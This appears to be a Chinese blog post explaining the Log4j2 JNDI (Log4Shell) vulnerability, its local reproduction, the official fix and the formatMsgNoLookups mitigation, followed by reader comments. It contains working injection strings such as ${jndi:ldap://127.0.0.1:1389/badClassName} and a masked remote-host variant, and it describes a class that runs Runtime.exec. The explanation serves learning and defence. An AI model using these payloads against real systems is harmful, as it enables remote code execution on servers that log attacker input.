性能文章>Log4j2 Jndi 漏洞原理解析、复盘>

Log4j2 Jndi 漏洞原理解析、复盘原创

5月前
4129319

 2021-12-10一个值得所有研发纪念的日子。

 

一波操作猛如虎,下班到了凌晨2点25。

 

基础组件的重要性,在此次的Log4j2漏洞上反应的淋漓尽致,各种核弹级洞”、“超高危” 等词汇看的我瑟瑟发抖,那么问题真的有那么严重吗?这个让大家普遍加班搞到凌晨的漏洞,到底是什么问题?

 

01

漏洞复现

 

Log4j2的框架设计非常优秀,各种功能均是以内部插件的方式进行的扩展实现,比如我们经常在Xml中定义的<Appenders>,实际对应的则是如下的AppendersPlugin对象

 

而我们在Xml Appenders下所定义的<Console>实际对应的则是如下的ConsoleAppender对象

 

看到这里应该就知晓了,我们在配置文件中所配置的各种元素实际上对应的均是Log4j2中的各种插件对象,Xml在被解析过程当中,会将你所配置的各种元素名称实例化为对应的插件对象,然后与你所配置的Logger进行关联。

Console,RollingFile 等则是我们一般情况下常用的插件,而此次出现重大漏洞问题的则是一个相对不太常用的插件,名叫:JndiLookup 呐,就是下面这个

 

此时则会有一个疑问,这个插件?没见过?不熟悉?使用频率不高吧?

 

按照道理来说的确是这样,一个使用频率不高的插件,就算有漏洞,也很难会去触发到。

但偏偏这个插件被人为使用的频率较低,但代码触发到的频率很高,高到你代码中每次触发info,warn,error 等日志写入的时候,都会去校验一下是否执行Lookup的逻辑。也就是基于此,这样一个小的插件由于和日志的写入逻辑有所关联,就导致了漏洞触发的可能性成倍的增加。

 

Lookup插件在Log4j2的使用场景上是为了获取配置而使用的,如Log4j2框架中所包含的JavaLookup插件,表示当你要在Log4j2框架中获取Java的配置信息时,则会调度执行该JavaLookup来返回对应的Java配置信息,如下所示:

error代码中直接填写:${java.version} 则最终会返回对应的Java版本信息

 

同理Log4j2中还封装的有DockerLookup,KubernetesLookup等,当你要在服务中获取Docker的元数据信息时,则最终会被Log4j2框架调度执行到DockerLookup方法中,由DockerLookup来执行具体的交互并返回对应的数据。

 

那么此时再来去看JndiLookup则一目了然了,没错,JndiLookup只是Log4j2框架中各种Lookup的其中一个,其作用则是通过Jndi规范去获取对应的配置信息时使用。

 

此时我们来验证一下JndiLookup的漏洞,如下所示:

 

各大安全厂商在发布漏洞验证报告时的截图均是以$Jndi 打开本地计算器为例,以此表示Jndi存在严重的安全隐患,所以此处本人也是直接以此为例来进行验证。

 

当我启动main方法后可以发现 ${jndi:ldap://127.0.0.1:1389/badClassName} 这段代码最终打开了本地的一个计算器程序,漏洞验证成功。

 

实际上想要本地复现这个漏洞是并不简单的,所以为了后续可以更快速的理解,我们此处则需要重复几个概念:

 

1、jndi 全名 Java Naming and Directory Interface,是用于目录服务的Java API,它允许Java客户端通过名称发现查找数据和资源(以Java对象的形式)。

 

2、触发Lookup插件的场景是使用:${},如上述的${java:version} 表示使用JavaLookup插件,传入值为version然后返回对应的结果,而此处的${jndi:ldap://ip:port} 则同理表示调用JndiLookup传入值为 ldap://ip:port 。

 

3、jndi是目录接口,所以JndiLookup中则是各种目录接口的实现集合,如下图所示可以发现JndiLookup中可直接调用的具体实现类有很多,其中就包括LdapURLContext

 

OK,了解了上述的概念,我们就可以继续开始了。

 

首先我们当前的注入方式是${jndi:ldap://127.0.0.1:1389/badClassName} 也就是让Log4j2框架执行error时,触发JndiLookup,然后调用JndiLookup的ldap协议,以此达到注入的效果。

 

那么在此之前,我们需要做的第一件事是先搭建一个ldap协议的服务端,只有这样才能做到Log4j2触发ldap协议时,可以成功访问你当前本地的1389端口,核心代码如下所示:

 

首先定义一个ldap协议的Server

 

第二步通过a**框架字节码的方式生成一个class类,class类主要内容便是执行Runtime.getRuntime.exec("calc.exe") 也就是该class类一旦被执行则会立即调用本地的计算器服务。

 

第三步则是ldap协议被访问后,则将当前的class类作为byte流输出为对应的响应结果

 

此时我们的服务端则搭建完成。

 

而对于客户端而言,则更加简单,仅需要引用对应的log4j-core的漏洞版即可,当前所引入的为2.14.1的版本。

启动测试,结果则如下所示:

 

此时身为好奇Boy的你可能仍然会有疑问:

1、jndi加载后的class字节流是在何时被实例化为对象的。

2、既然如此,Log4j2官方又是如何修复的?

 

 

02

疑问、复盘

 

针对jndi的问题,先做下相关说明:首先jndi本身并不是Log4j2框架的产物,而是Jdk自身的功能,对应的包路径为com.sun.jndi 。

 

jndi 在jdk中的定位是目录服务应用程序接口,目录服务可以想象为一个树,而java中常用的目录服务协议则是rmi和ldap,ldap本身就是一套常用的目录访问协议,一般我们windows常用的AD域也都是基于ldap协议的,而jndi的作用则是通过目录协议如ldap根据对应的目录名,去查找对应服务端的对象,并把该对象下载到客户端中来。

 

所以针对上述jndi:ldap的漏洞,其实这本身就不是问题,因为这本身就是jndi的功能,如果你的目录访问协议是可控的情况下,那么使用jndi则是安全的。

 

而Log4j2框架中JndiLookup使用到了Jndi的功能,但是对应的传参则较为随意,这就是一个很大的问题,如通过http的方式给业务服务传参数为:${jndi:ldap://******.com/service} ,而业务方服务又恰巧把该参数打到了日志中,这就会导致很大的漏洞,因为谁也无法保证注入的yuming.com/service返回的对象是什么,相当于是一个很大的后门,注入者可以通过此漏洞任意执行所有代码。

 

闭环了朋友们,文章最初所提到的这个漏洞真的有这么严重吗?看到这里想必也已经很清楚了,各种媒体所宣称的"核弹级",也是真的没什么毛病。

 

 

此时所引出的第二个问题则是:Log4j2框架是如何修复的?

 

既然jndi的问题无法解决,那作为日志框架的“”自然要从自身寻找问题,所以Log4j2框架本身的解决方案则是设置域名白名单,类白名单等操作,如果jndi:ldap对应的访问路径并非127.0.0.1同网段的服务等,则不会执行lookup() ,以此避免访问到外部的恶意服务上去。

 

Log4j2的代码修复记录如下:

 

老版本中关于JndiManager的代码是这样的,直接调用context.lookup(),context为jdk自身的jndi类

 

而修复后代码是这样的:在调用context.lookup()之前,做了较多的拦截操作,判断了对应的白名单类,以及host等操作

 

对于各公司内解决方案,实际上不见得一定要通过短时间内升级jar包的方式来解决,因为java体系内的各种log包的依赖,由于各种历史原因导致当前也是有点较为繁琐,如果想要短时间内更加无痛解决的情况下,直接在已有的项目下增加log4j2.formatMsgNoLookups=true,也可以完美解决该问题。

 

对应代码如下:配置该参数为true以后,会在对应的日志输出进行format格式化时,不再解析你当前日志中的 ${} 的代码块,造成的影响面则是服务代码中所有的 ${} 均不会再解析Lookup

 

当然,如果可以高效的推动各业务方升级则是最好的。

 

大家还有其他的奇门技巧来解决该问题,欢迎留言评论交流下你的解决方案。

 

  对于想要学习并验证该漏洞的小伙伴,则需要麻烦你扫码以下公众号,并发送消息“ldap” 便可直接获取ldap协议服务端源代码。(卑微打工人,在线引流恰饭  /哭 ,感谢大家对原创的支持。 )

原文链接:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw

本文已进行版权登记,版权归属陈咬金,抄袭必究。如需转载,请联系微信号:x_h886688

请先登录,再评论

老哥🐂🍺,公众号第一篇文章就打开局面了,已关注

5月前
回复 wski:

谢谢哥 😘

5月前回复

前两天刚看到这个,这么快看到解析了,大佬!

5月前
回复 赵德柱儿:

啊,谢谢哥给面关注 🥰

5月前回复
回复 陈咬金:

首篇啊👍

5月前回复
回复 小明明:

写文章的必须硬气!你也快去给我扫码关注!😾

5月前回复
查看更多

必须点赞👍!

5月前
回复 淡粥:

哈哈哈,睡了睡了

5月前回复
回复 陈咬金:

奥利给!哈哈哈

5月前回复
回复 淡粥:

花生,你你你都12点了,赶紧睡觉吧。
(感觉文章内容有用的小伙伴,欢迎关注下公众号!一起交流学习!老铁奥利给!)

5月前回复

为你推荐

字符串字面量长度是有限制的
前言 偶然在一次单元测试中写了一个非常长的字符串字面量。 正文 在一次单元测试中,我写了一个很长的字符串字面量,大概10万个字符左右,编译时,编译器给出了异常告警 `java: constant
多次字符串相加一定要用StringBuilder而不用-吗?
今天在写一个读取Java class File并进行分析的Demo时,偶然发现了下面这个场景(基于oracle jdk 1.8.0_144): ``` package test; public c
如何通过反射获得方法的真实参数名(以及扩展研究)
前段时间,在做一个小的工程时,遇到了需要通过反射获得方法真实参数名的场景,在这里我遇到了一些小小的问题,后来在部门老大的指导下,我解决了这个问题。通过解决这个问题,附带着我了解到了很多新的知识,我觉得
高吞吐、低延迟 Java 应用的 GC 优化实践
本篇原文作者是 LinkedIn 的 Swapnil Ghike,这篇文章讲述了 LinkedIn 的 Feed 产品的 GC 优化过程,虽然文章写作于 April 8, 2014,但其中的很多内容和
「每日五分钟,玩转 JVM」:久识你名,初居我心
聊聊 JVMJVM,一个熟悉又陌生的名词,从认识Java的第一天起,我们就会听到这个名字,在参加工作的前一两年,面试的时候还会经常被问到JDK,JRE,JVM这三者的区别。JVM可以说和我们是老朋友了
据说99.99%的人都会答错的类加载的问题
概述首先还是把问题抛给大家,这个问题也是我厂同学在做一个性能分析产品的时候碰到的一个问题。 同一个类加载器对象是否可以加载同一个类文件多次并且得到多个Class对象而都可以被java层使用吗请仔细注意
Java多线程——并发测试
编写并发程序时候,可以采取和串行程序相同的编程方式。唯一的难点在于,并发程序存在不确定性,这种不确定性会令程序出错的地方远比串行程序多,出现的方式也没有固定规则。那么如何在测试中,尽可能的暴露出这些问
Java多线程知识小抄集(一)
本文主要整理笔者遇到的Java多线程的相关知识点,适合速记,故命名为“小抄集”。本文没有特别重点,每一项针对一个多线程知识做一个概要性总结,也有一些会带一点例子,习题方便理解和记忆。 1.interr